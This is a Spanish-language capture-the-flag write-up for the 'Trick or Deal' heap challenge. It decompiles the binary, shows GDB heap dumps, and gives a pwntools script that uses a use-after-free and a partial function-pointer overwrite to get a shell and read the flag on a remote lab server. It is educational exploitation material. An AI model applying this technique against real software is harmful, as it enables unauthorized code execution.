Trick or Deal
8 minutos de lectura
Se nos proporciona un binario de 64 bits llamado trick_or_deal
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Ingeniería inversa
Si usamos Ghidra, podremos ver el siguiente código en C descompilado de la función main
:
undefined8 main(undefined8 param_1, undefined8 param_2) {
undefined8 in_R9;
setup();
fprintf(stdout, "%s %s Welcome to the Intergalactic Weapon Black Market %s\n", &DAT_0010123c, &DAT_00101241, &DAT_0010123c, in_R9, param_2);
fprintf(stdout, "\n%sLoading the latest weaponry . . .\n%s", &DAT_0010128b, &DAT_00101241);
sleep(3);
update_weapons();
fflush(stdout);
menu();
return 0;
}
Está llamando a update_weapons
:
void update_weapons() {
storage = (char *) malloc(0x50);
strcpy(storage, "\nThe Lightsaber\n\nThe Sonic Screwdriver\n\nPhasers\n\nThe Noisy Cricket\n");
*(code **) (storage + 0x48) = printStorage;
}
Básicamente, asigna un chunk en el heap (guardado como variable global storage
) con tamaño 0x50
bytes, copia una cadena de texto dentro y un puntero a la función printStorage
en los últimos 8 bytes. Esto es printStorage
:
void printStorage() {
fprintf(stdout, "\n%sWeapons in stock: \n %s %s", &DAT_0010128b, storage, &DAT_00101241);
}
Nada interesante. Podríamos usar esta función para fugar metadatos del heap cuando storage
esté liberado, pero no es necesario.
Después de update_weapons
, en main
, se llama a la función menu
:
void menu() {
char option[3];
memset(option, 0, 3);
while (true) {
while (true) {
while (true) {
fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1, 0x1b, stdout);
fwrite("| |\n", 1, 0x1a, stdout);
fwrite("| [1] See the Weaponry |\n", 1, 0x1a, stdout);
fwrite("| [2] Buy Weapons |\n", 1, 0x1a, stdout);
fwrite("| [3] Make an Offer |\n", 1, 0x1a, stdout);
fwrite("| [4] Try to Steal |\n", 1, 0x1a, stdout);
fwrite("| [5] Leave |\n", 1, 0x1a, stdout);
fwrite("| |\n", 1, 0x1a, stdout);
fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1, 0x1a, stdout);
fwrite("\n[*] What do you want to do? ", 1, 0x1d, stdout);
read(0, option, 2);
if (option[0] != '2') break;
buy();
}
if (option[0] < '3') break;
if (option[0] == '3') {
make_offer();
} else {
if (option[0] != '4') goto LAB_0010113e;
steal();
}
}
if (option[0] != '1') break;
(**(code **) (storage + 0x48))();
}
LAB_0010113e:
fprintf(stdout,"\n[*] Don\'t ever come back again! %s\n", &DAT_001014e1);
/* WARNING: Subroutine does not return */
exit(0);
}
Se asemeja a un menú de un reto de explotación del heap. La primera opción está implementada en la misma función "See the Weaponry"
), que llamará a la función en *(code **) (storage + 0x48)
(legítimamente, printStorage
). Luego, tenemos más opciones:
Función normal
Esta función es buy
:
void buy() {
long in_FS_OFFSET;
undefined item[72];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
fwrite("\n[*] What do you want!!? ", 1, 0x19, stdout);
read(0, item, 71);
fprintf(stdout, "\n[!] No!, I can\'t give you %s\n", item);
fflush(stdout);
fwrite("[!] Get out of here!\n", 1, 0x15, stdout);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Solamente nos permite introducir datos que serán mostrados por pantalla acto seguido. Podríamos usar esta función para fugar datos de la pila, ya que las strings en C terminan en un byte nulo y podemos rellenar la pila hasta un cierto byte para fugar una dirección de memoria. No obstante, esto no es necesario en este reto.
Función de asignación
Esta es make_offer
:
void make_offer() {
char answer[3];
size_t size;
size = 0;
memset(answer, 0, 3);
fwrite("\n[*] Are you sure that you want to make an offer(y/n): ", 1, 0x37, stdout);
read(0, answer, 2);
if (answer[0] == 'y') {
fwrite("\n[*] How long do you want your offer to be? ", 1, 0x2d, stdout);
size = read_num();
offer = malloc(size);
fwrite("\n[*] What can you offer me? ", 1, 0x1c, stdout);
read(0, offer, size);
fwrite("[!] That\'s not enough!\n", 1, 0x17, stdout);
} else {
fwrite("[!] Don\'t bother me again.\n", 1, 0x1b, stdout);
}
}
Básicamente, nos permite asignar un nuevo chunk de cualquier tamaño y escribir contenido en él (no hay desbordamientos).
Función de liberación
Esta es steal
:
void steal() {
fwrite("\n[*] Sneaks into the storage room wearing a face mask . . . \n" ,1, 0x3d, stdout);
sleep(2);
fprintf(stdout, "%s[*] Guard: *Spots you*, Thief! Lockout the storage!\n", &DAT_0010131e);
free(storage);
sleep(2);
fprintf(stdout, "%s[*] You, who didn\'t skip leg-day, escape!%s\n", &DAT_0010128b, &DAT_00101241);
}
Aquí se nos permite liberar la variable global storage
, que era un chunk de tamaño 0x50
bytes. Nótese que la variable global storage
no se pone a NULL
.
Función objetivo
Existe otra función llamada unlock_storage
, que no se utiliza en el código, pero sí aparece en el binario:
void unlock_storage() {
fprintf(stdout, "\n%s[*] Bruteforcing Storage Access Code . . .%s\n", &DAT_001014a6, &DAT_0010149e);
sleep(2);
fprintf(stdout, "\n%s* Storage Door Opened *%s\n", &DAT_0010128b, &DAT_001014e1);
system("sh");
}
Simplemente ejecuta una shell.
Estrategia de explotación
Como el objetivo es conseguir una shell, buscaremos llamar a unlock_storage
, obviamente. Además, la localización de printStorage
en el chunk storage
es muy atractiva. Por tanto, la idea es modificar el puntero en *(code **) (storage + 0x48)
para que sea la dirección de unlock_storage
, de manera que podamos usar la opción 1
para obtener una shell.
Nótese que PIE está habilitado, lo que significa que las direcciones del binario son aleatorias. No obstante, los bits menos significativos de las direcciones no son aleatorios, por lo que podemos modificar solo unos pocos bytes para transformar printStorage
en unlock_storage
. No hay necesidad de fugar direcciones de memoria para calcular la dirección base y burlar PIE (aunque es posible con buy
o printStorage
).
Usando steal
, podremos liberar el chunk de storage
. Sin embargo, free
solamente pone el chunk en una lista de chunks libres para usarse después, no elimina el contenido. Luego, al llamar a malloc
con un tamaño de 0x50
, malloc
mirará si hay chunks disponibles en la lista correspondiente antes de requerir memoria al kernel. Por tanto, podemos usar make_offer
para solicitar un chunk de 0x50
bytes, de manera que obtengamos el chunk storage
original con los datos prácticamente intactos (por ejemplo, el puntero a printStorage
). Esto es una especie de vulnerabilidad de Use After Free, ya que podemos reutilizar datos que fueron liberados.
Depurando con GDB
Para visualizar la estrategia, podemos usar GDB para analizar el heap:
$ gdb -q trick_or_deal
Reading symbols from trick_or_deal...
(No debugging symbols found in trick_or_deal)
gef➤ run
Starting program: ./trick_or_deal
💵 Welcome to the Intergalactic Weapon Black Market 💵
Loading the latest weaponry . . .
-_-_-_-_-_-_-_-_-_-_-_-_-
| |
| [1] See the Weaponry |
| [2] Buy Weapons |
| [3] Make an Offer |
| [4] Try to Steal |
| [5] Leave |
| |
-_-_-_-_-_-_-_-_-_-_-_-_-
[*] What do you want to do? ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee3002 in read () from ./glibc/libc.so.6
gef➤ heap chunks
Chunk(addr=0x555555603010, size=0x290, flags=PREV_INUSE)
[0x0000555555603010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x5555556032a0, size=0x60, flags=PREV_INUSE)
[0x00005555556032a0 0a 54 68 65 20 4c 69 67 68 74 73 61 62 65 72 0a .The Lightsaber.]
Chunk(addr=0x555555603300, size=0x20d10, flags=PREV_INUSE)
[0x0000555555603300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555555603300, size=0x20d10, flags=PREV_INUSE) ← top chunk
gef➤ x/20gx 0x555555603290
0x555555603290: 0x0000000000000000 0x0000000000000061
0x5555556032a0: 0x67694c206568540a 0x0a72656261737468
0x5555556032b0: 0x6e6f53206568540a 0x7765726353206369
0x5555556032c0: 0x0a0a726576697264 0x0a73726573616850
0x5555556032d0: 0x696f4e206568540a 0x6b63697243207973
0x5555556032e0: 0x00000000000a7465 0x0000555555400be6
0x5555556032f0: 0x0000000000000000 0x0000000000020d11
0x555555603300: 0x0000000000000000 0x0000000000000000
0x555555603310: 0x0000000000000000 0x0000000000000000
0x555555603320: 0x0000000000000000 0x0000000000000000
La salida anterior muestra que hay un chunk de 0x50
bytes con una string y un puntero (0x0000555555400be6
). Este puntero es printStorage
:
gef➤ x 0x0000555555400be6
0x555555400be6 <printStorage>: 0x4f058b48e5894855
Y unlock_storage
se localiza en 0x555555400eff
:
gef➤ p unlock_storage
$2 = {<text variable, no debug info>} 0x555555400eff <unlock_storage>
Nótese que printStorage
termina 0x0be6
y unlock_storage
termina en 0x0eff
, el resto de bytes de las direcciones son iguales.
Desarrollo del exploit
Por tanto, llamaremos a steal
y luego a make_offer
con un tamaño de 0x50
para obtener el chunk original. Rellenaremos 0x48
bytes con datos cualesquiera y modificaremos los últimos dos bytes del puntero a printStorage
para transformarlo en unlock_storage
. Finalmente, usaremos la opción 1
. Todo el proceso se encuentra en este script en Python:
def main():
p = get_process()
p.sendlineafter(b'[*] What do you want to do? ', b'4')
p.sendlineafter(b'[*] What do you want to do? ', b'3')
p.sendlineafter(b'[*] Are you sure that you want to make an offer(y/n): ', b'y')
p.sendlineafter(b'[*] How long do you want your offer to be? ', str(0x50).encode())
payload = b'A' * 0x48 + p16(context.binary.sym.unlock_storage & 0xffff)
p.sendafter(b'[*] What can you offer me? ', payload)
p.sendlineafter(b'[*] What do you want to do? ', b'1')
p.interactive()
Como era de esperar, obtenemos una shell en local:
$ python3 solve.py
[*] './trick_or_deal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './trick_or_deal': pid 10984
[*] Switching to interactive mode
[*] Bruteforcing Storage Access Code . . .
* Storage Door Opened *
$ ls
glibc solve.py trick_or_deal
Flag
Vamos a probar en remoto:
$ python3 solve.py 206.189.28.76:31473
[*] './trick_or_deal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 206.189.28.76 on port 31473: Done
[*] Switching to interactive mode
[*] Bruteforcing Storage Access Code . . .
* Storage Door Opened *
$ ls
flag.txt glibc ld-2.31.so libc-2.31.so trick_or_deal
$ cat flag.txt
HTB{tr1ck1ng_41nt_ch34t1ng}
El exploit completo se puede encontrar aquí: solve.py
.